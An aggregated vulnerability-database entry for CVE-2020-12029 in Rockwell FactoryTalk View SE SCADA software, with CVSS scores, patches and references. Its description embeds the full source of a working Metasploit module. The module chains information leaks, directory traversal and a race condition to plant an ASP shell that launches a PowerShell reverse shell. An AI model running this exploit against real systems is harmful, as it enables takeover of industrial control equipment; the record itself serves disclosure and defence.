ID

VAR-202007-0195


CVE

CVE-2020-12029


TITLE

FactoryTalk View SE Vulnerability regarding input verification in

Trust: 0.8

sources: JVNDB: JVNDB-2020-008257

DESCRIPTION

All versions of FactoryTalk View SE do not properly validate input of filenames within a project directory. A remote, unauthenticated attacker may be able to execute a crafted file on a remote endpoint that may result in remote code execution (RCE). Rockwell Automation recommends applying patch 1126289. Before installing this patch, the patch rollup dated 06 Apr 2020 or later MUST be applied. 1066644 – Patch Roll-up for CPR9 SRx. FactoryTalk View SE There is an input verification vulnerability in.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Rockwell Automation FactoryTalk View SE. Authentication is not required to exploit this vulnerability.The specific flaw exists within the handling of project files. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Powershell include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Rockwell FactoryTalk View SE SCADA Unauthenticated Remote Code Execution', 'Description' => %q{ This module exploits a series of vulnerabilities to achieve unauthenticated remote code execution on the Rockwell FactoryTalk View SE SCADA product as the IIS user. The attack relies on the chaining of five separate vulnerabilities. In order to achieve full remote code execution on all targets, two information leak vulnerabilities are also abused. This exploit was used by the Flashback team (Pedro Ribeiro + Radek Domanski) in Pwn2Own Miami 2020 to win the EWS category. }, 'License' => MSF_LICENSE, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module 'Radek Domanski <radek.domanski[at]gmail.com>' # Vulnerability discovery and Metasploit module ], 'References' => [ [ 'URL', 'https://www.thezdi.com/blog/2020/7/22/chaining-5-bugs-for-code-execution-on-the-rockwell-factorytalk-hmi-at-pwn2own-miami'], [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Miami_2020/replicant/replicant.md'], [ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/tree/master/advisories/Pwn2Own/Miami2020/replicant.md'], [ 'CVE', '2020-12027'], [ 'CVE', '2020-12028'], [ 'CVE', '2020-12029'], [ 'ZDI', '20-727'], [ 'ZDI', '20-728'], [ 'ZDI', '20-729'], [ 'ZDI', '20-730'], ], 'Privileged' => false, 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Payload' => { 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' } }, 'DefaultOptions' => { 'WfsDelay' => 20 }, 'Targets' => [ [ 'Rockwell Automation FactoryTalk SE', {} ] ], 'DisclosureDate' => '2020-06-22', 'DefaultTarget' => 0 ) ) register_options( [ Opt::RPORT(80), OptString.new('SRVHOST', [true, 'IP address of the host serving the exploit']), OptInt.new('SRVPORT', [true, 'Port of the host serving the exploit on', 8080]), OptString.new('TARGETURI', [true, 'The base path to Rockwell FactoryTalk', '/rsviewse/']) ] ) register_advanced_options( [ OptInt.new('SLEEP_RACER', [true, 'Number of seconds to wait for racer thread to finish', 15]), ] ) end def send_to_factory(path) send_request_cgi({ 'uri' => normalize_uri(target_uri, path), 'method' => 'GET' }) end def check res = send_to_factory('/hmi_isapi.dll') return Exploit::CheckCode::Safe unless res && res.code == 200 # Parse version from response body # Example: Version 11.00.00.230 version = res.body.scan(/Version ([0-9\.]{5,})/).flatten.first.to_s.split('.') # Is returned version sound? unless version.empty? if version.length != 4 return Exploit::CheckCode::Detected end print_status("#{peer} - Detected Rockwell FactoryTalk View SE SCADA version #{version[0..3].join('.')}") if version[0].to_i == 11 && version[1].to_i == 0 && version[2].to_i == 0 && version[3].to_i == 230 # we know this exact version is vulnerable (11.00.00.230) return Exploit::CheckCode::Appears end return Exploit::CheckCode::Detected end return Exploit::CheckCode::Unknown end def on_request_uri(cli, request) if request.uri.include?(@shelly) print_good("#{peer} - Target connected, sending payload") psh = cmd_psh_payload( payload.encoded, payload.arch.first # without comspec it seems to fail, so keep it this way # remove_comspec: true ) # add double quotes for classic ASP escaping psh.gsub!('"', '""') # NOTE: ASP payloads are broken in newer Windows (Win 2012 R2, Win 10) so we need to use powershell # This is because the MSF ASP payload uses WScript.Shell.run(), which doesn't seem to work anymore... # If this module is not working on an older Windows version, try the below as payload: # payload = Msf::Util::EXE.to_exe_asp(generate_payload_exe) payload = %{<%CreateObject("WScript.Shell").exec("#{psh}")%>} send_response(cli, payload) # payload file is deleted automatically by the server once we win the race! elsif request.uri.include?(@proj_name) # Directory traversal: vulnerable asp file will land in the path we provide print_good("#{peer} - Target connected, sending file path with dir traversal") # Check the comments in the Infoleak 2 (project installation path) to understand why filename = "../SE/HMI Projects/#{@shelly}" send_response(cli, filename) end end def exploit # Infoleak 1 (project listing) print_status("#{peer} - Listing projects on the server") res = send_to_factory('/hmi_isapi.dll?GetHMIProjects') fail_with(Failure::UnexpectedReply, 'Failed to obtain project list. Bailing') unless res && res.code == 200 && res.body.include?('HMIProject') print_status("#{peer} - Received list of projects from the server") @proj_name = nil proj_path = '' xml = res.get_xml_document # Parse XML project list and check each project for installation project path xml.search('HMIProject').each do |project| # Infoleak 2 (project installation path) # In the original exploit, we used this to calculate the directory traversal path, but # Google says the path is the same for all versions since at least 2007. # Let's still abuse it to check if the project is valid. url = "/hmi_isapi.dll?GetHMIProjectPath&#{project.attributes['Name']}" res = send_to_factory(url) proj_path = res.body.strip # Check if response contains :\ that indicates a windows path next unless proj_path.include?(':\\') print_status("#{peer} - Found project path: #{proj_path}") # We only need first hit so we can quit the project parsing once we get it if project.attributes['Name'] @proj_name = project.attributes['Name'] break end end if !@proj_name fail_with(Failure::UnexpectedReply, 'Failed to get a path from the XML to drop our shell, bailing out...') end shell_path = proj_path.sub(@proj_name, '').strip print_good("#{peer} - Got a path to drop our shell: #{shell_path}") # Start http server for project copy callback http_service = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s print_status("#{peer} - Starting up our web service on #{http_service} ...") start_service({ 'Uri' => { 'Proc' => proc do |cli, req| on_request_uri(cli, req) end, # This path has to be capitalized as "RSViewSE" or else the exploit will fail! 'Path' => '/RSViewSE/' } }) # Race Condition # This is the racer thread. It will continuously access our asp file until it gets executed print_status("#{peer} - Starting racer thread, let's win this race condition!") @shelly = "#{rand_text_alpha(5..10)}.asp" racer = Thread.new do loop do res = send_to_factory("/#{@shelly}") if res.code == 200 print_good("#{peer} - We've won the race condition, shell incoming!") break end end end # Project Copy Request: target will connect to us to obtain project information. print_status("#{peer} - Initiating project copy request...") url = "/hmi_isapi.dll?StartRemoteProjectCopy&#{@proj_name}&#{rand_text_alpha(5..13)}&#{datastore['SRVHOST']}:#{datastore['SRVPORT']}&1" res = send_to_factory(url) # wait up to datastore['SLEEP_RACER'] seconds for the racer thread to finish count = 0 while count < datastore['SLEEP_RACER'] break if racer.status == false sleep(1) count += 1 end racer.exit end end

Trust: 3.06

sources: NVD: CVE-2020-12029 // JVNDB: JVNDB-2020-008257 // ZDI: ZDI-20-730 // CNVD: CNVD-2020-38691 // VULHUB: VHN-164666 // VULMON: CVE-2020-12029 // PACKETSTORM: 160156

IOT TAXONOMY

category:['ICS']sub_category: -

Trust: 0.6

sources: CNVD: CNVD-2020-38691

AFFECTED PRODUCTS

vendor:rockwellautomationmodel:factorytalk viewscope:eqversion: -

Trust: 1.0

vendor:rockwell automationmodel:factorytalk viewscope:eqversion:se

Trust: 0.8

vendor:rockwell automationmodel:factorytalk view sescope: - version: -

Trust: 0.7

vendor:rockwellmodel:automation factorytalk view sescope: - version: -

Trust: 0.6

sources: ZDI: ZDI-20-730 // CNVD: CNVD-2020-38691 // JVNDB: JVNDB-2020-008257 // NVD: CVE-2020-12029

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2020-12029
value: HIGH

Trust: 1.0

ics-cert@hq.dhs.gov: CVE-2020-12029
value: CRITICAL

Trust: 1.0

NVD: JVNDB-2020-008257
value: HIGH

Trust: 0.8

ZDI: CVE-2020-12029
value: CRITICAL

Trust: 0.7

CNVD: CNVD-2020-38691
value: MEDIUM

Trust: 0.6

CNNVD: CNNVD-202006-1224
value: HIGH

Trust: 0.6

VULHUB: VHN-164666
value: MEDIUM

Trust: 0.1

VULMON: CVE-2020-12029
value: MEDIUM

Trust: 0.1

nvd@nist.gov: CVE-2020-12029
severity: MEDIUM
baseScore: 6.8
vectorString: AV:N/AC:M/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 8.6
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.1

NVD: JVNDB-2020-008257
severity: MEDIUM
baseScore: 6.8
vectorString: AV:N/AC:M/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: NONE
impactScore: NONE
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.8

CNVD: CNVD-2020-38691
severity: MEDIUM
baseScore: 6.6
vectorString: AV:L/AC:L/AU:N/C:C/I:C/A:N
accessVector: LOCAL
accessComplexity: LOW
authentication: NONE
confidentialityImpact: COMPLETE
integrityImpact: COMPLETE
availabilityImpact: NONE
exploitabilityScore: 3.9
impactScore: 9.2
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.6

VULHUB: VHN-164666
severity: MEDIUM
baseScore: 6.8
vectorString: AV:N/AC:M/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 8.6
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.1

nvd@nist.gov: CVE-2020-12029
baseSeverity: HIGH
baseScore: 7.8
vectorString: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
attackVector: LOCAL
attackComplexity: LOW
privilegesRequired: NONE
userInteraction: REQUIRED
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: HIGH
exploitabilityScore: 1.8
impactScore: 5.9
version: 3.1

Trust: 1.0

ics-cert@hq.dhs.gov: CVE-2020-12029
baseSeverity: CRITICAL
baseScore: 9.0
vectorString: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
attackVector: LOCAL
attackComplexity: LOW
privilegesRequired: NONE
userInteraction: NONE
scope: CHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: NONE
exploitabilityScore: 2.5
impactScore: 5.8
version: 3.1

Trust: 1.0

NVD: JVNDB-2020-008257
baseSeverity: HIGH
baseScore: 7.8
vectorString: CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
attackVector: LOCAL
attackComplexity: LOW
privilegesRequired: NONE
userInteraction: REQUIRED
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: HIGH
exploitabilityScore: NONE
impactScore: NONE
version: 3.0

Trust: 0.8

ZDI: CVE-2020-12029
baseSeverity: CRITICAL
baseScore: 9.8
vectorString: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: NONE
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: HIGH
exploitabilityScore: 3.9
impactScore: 5.9
version: 3.0

Trust: 0.7

sources: ZDI: ZDI-20-730 // CNVD: CNVD-2020-38691 // VULHUB: VHN-164666 // VULMON: CVE-2020-12029 // JVNDB: JVNDB-2020-008257 // CNNVD: CNNVD-202006-1224 // NVD: CVE-2020-12029 // NVD: CVE-2020-12029

PROBLEMTYPE DATA

problemtype:CWE-20

Trust: 1.9

sources: VULHUB: VHN-164666 // JVNDB: JVNDB-2020-008257 // NVD: CVE-2020-12029

THREAT TYPE

local

Trust: 0.6

sources: CNNVD: CNNVD-202006-1224

TYPE

input validation error

Trust: 0.6

sources: CNNVD: CNNVD-202006-1224

CONFIGURATIONS

sources: JVNDB: JVNDB-2020-008257

EXPLOIT AVAILABILITY

sources: VULHUB: VHN-164666

PATCH

title:Top Pageurl:https://www.rockwellautomation.com/en-us.html

Trust: 0.8

title:Rockwell Automation has issued an update to correct this vulnerability.url:https://rockwellautomation.custhelp.com/app/answers/detail/a_id/1126944

Trust: 0.7

title:Patch for Rockwell Automation FactoryTalk View SE Input Verification Error Vulnerabilityurl:https://www.cnvd.org.cn/patchInfo/show/225399

Trust: 0.6

title:Rockwell Automation FactoryTalk View SE Enter the fix for the verification error vulnerabilityurl:http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=124853

Trust: 0.6

title:Check Point Security Alerts: Rockwell Automation FactoryTalk View Remote Code Execution (CVE-2020-12029)url:https://vulmon.com/vendoradvisory?qidtp=check_point_security_alerts&qid=14d703dfb95345fc9466389ccd1c348a

Trust: 0.1

title:Exploits and Advisories CVEs Exploitsurl:https://github.com/rdomanski/Exploits_and_Advisories

Trust: 0.1

sources: ZDI: ZDI-20-730 // CNVD: CNVD-2020-38691 // VULMON: CVE-2020-12029 // JVNDB: JVNDB-2020-008257 // CNNVD: CNNVD-202006-1224

EXTERNAL IDS

db:NVDid:CVE-2020-12029

Trust: 4.0

db:ICS CERTid:ICSA-20-170-05

Trust: 3.2

db:PACKETSTORMid:160156

Trust: 1.9

db:ZDIid:ZDI-20-730

Trust: 1.3

db:JVNid:JVNVU97172119

Trust: 0.8

db:JVNDBid:JVNDB-2020-008257

Trust: 0.8

db:ZDI_CANid:ZDI-CAN-10284

Trust: 0.7

db:CNVDid:CNVD-2020-38691

Trust: 0.7

db:CNNVDid:CNNVD-202006-1224

Trust: 0.7

db:NSFOCUSid:47659

Trust: 0.6

db:VULHUBid:VHN-164666

Trust: 0.1

db:VULMONid:CVE-2020-12029

Trust: 0.1

sources: ZDI: ZDI-20-730 // CNVD: CNVD-2020-38691 // VULHUB: VHN-164666 // VULMON: CVE-2020-12029 // JVNDB: JVNDB-2020-008257 // PACKETSTORM: 160156 // CNNVD: CNNVD-202006-1224 // NVD: CVE-2020-12029

REFERENCES

url:https://us-cert.cisa.gov/ics/advisories/icsa-20-170-05

Trust: 2.6

url:https://rockwellautomation.custhelp.com/app/answers/detail/a_id/1126944

Trust: 2.5

url:http://packetstormsecurity.com/files/160156/rockwell-factorytalk-view-se-scada-unauthenticated-remote-code-execution.html

Trust: 2.4

url:https://nvd.nist.gov/vuln/detail/cve-2020-12029

Trust: 1.5

url:https://www.us-cert.gov/ics/advisories/icsa-20-170-05

Trust: 1.2

url:https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2020-12029

Trust: 0.8

url:https://jvn.jp/vu/jvnvu97172119/index.html

Trust: 0.8

url:https://www.zerodayinitiative.com/advisories/zdi-20-730/

Trust: 0.6

url:http://www.nsfocus.net/vulndb/47659

Trust: 0.6

url:https://cwe.mitre.org/data/definitions/20.html

Trust: 0.1

url:https://nvd.nist.gov

Trust: 0.1

url:https://advisories.checkpoint.com/defense/advisories/public/2023/cpai-2020-4079.html

Trust: 0.1

url:https://github.com/rdomanski/exploits_and_advisories

Trust: 0.1

url:https://www.thezdi.com/blog/2020/7/22/chaining-5-bugs-for-code-execution-on-the-rockwell-factorytalk-hmi-at-pwn2own-miami'],

Trust: 0.1

url:https://github.com/rapid7/metasploit-framework

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2020-12027

Trust: 0.1

url:https://github.com/pedrib/poc/blob/master/advisories/pwn2own/miami_2020/replicant/replicant.md'],

Trust: 0.1

url:https://metasploit.com/download

Trust: 0.1

url:http://'

Trust: 0.1

url:https://github.com/rdomanski/exploits_and_advisories/tree/master/advisories/pwn2own/miami2020/replicant.md'],

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2020-12028

Trust: 0.1

sources: ZDI: ZDI-20-730 // CNVD: CNVD-2020-38691 // VULHUB: VHN-164666 // VULMON: CVE-2020-12029 // JVNDB: JVNDB-2020-008257 // PACKETSTORM: 160156 // CNNVD: CNNVD-202006-1224 // NVD: CVE-2020-12029

CREDITS

Team FLASHBACK: Pedro Ribeiro (pedrib@gmail.com|@pedrib1337) and Radek Domanski (@RabbitPro)

Trust: 0.7

sources: ZDI: ZDI-20-730

SOURCES

db:ZDIid:ZDI-20-730
db:CNVDid:CNVD-2020-38691
db:VULHUBid:VHN-164666
db:VULMONid:CVE-2020-12029
db:JVNDBid:JVNDB-2020-008257
db:PACKETSTORMid:160156
db:CNNVDid:CNNVD-202006-1224
db:NVDid:CVE-2020-12029

LAST UPDATE DATE

2024-11-23T21:59:09.803000+00:00


SOURCES UPDATE DATE

db:ZDIid:ZDI-20-730date:2020-06-22T00:00:00
db:CNVDid:CNVD-2020-38691date:2020-07-14T00:00:00
db:VULHUBid:VHN-164666date:2022-01-04T00:00:00
db:VULMONid:CVE-2020-12029date:2022-01-04T00:00:00
db:JVNDBid:JVNDB-2020-008257date:2020-09-07T00:00:00
db:CNNVDid:CNNVD-202006-1224date:2020-11-24T00:00:00
db:NVDid:CVE-2020-12029date:2024-11-21T04:59:08.690

SOURCES RELEASE DATE

db:ZDIid:ZDI-20-730date:2020-06-22T00:00:00
db:CNVDid:CNVD-2020-38691date:2020-07-14T00:00:00
db:VULHUBid:VHN-164666date:2020-07-20T00:00:00
db:VULMONid:CVE-2020-12029date:2020-07-20T00:00:00
db:JVNDBid:JVNDB-2020-008257date:2020-09-07T00:00:00
db:PACKETSTORMid:160156date:2020-11-20T15:46:41
db:CNNVDid:CNNVD-202006-1224date:2020-06-18T00:00:00
db:NVDid:CVE-2020-12029date:2020-07-20T15:15:11.477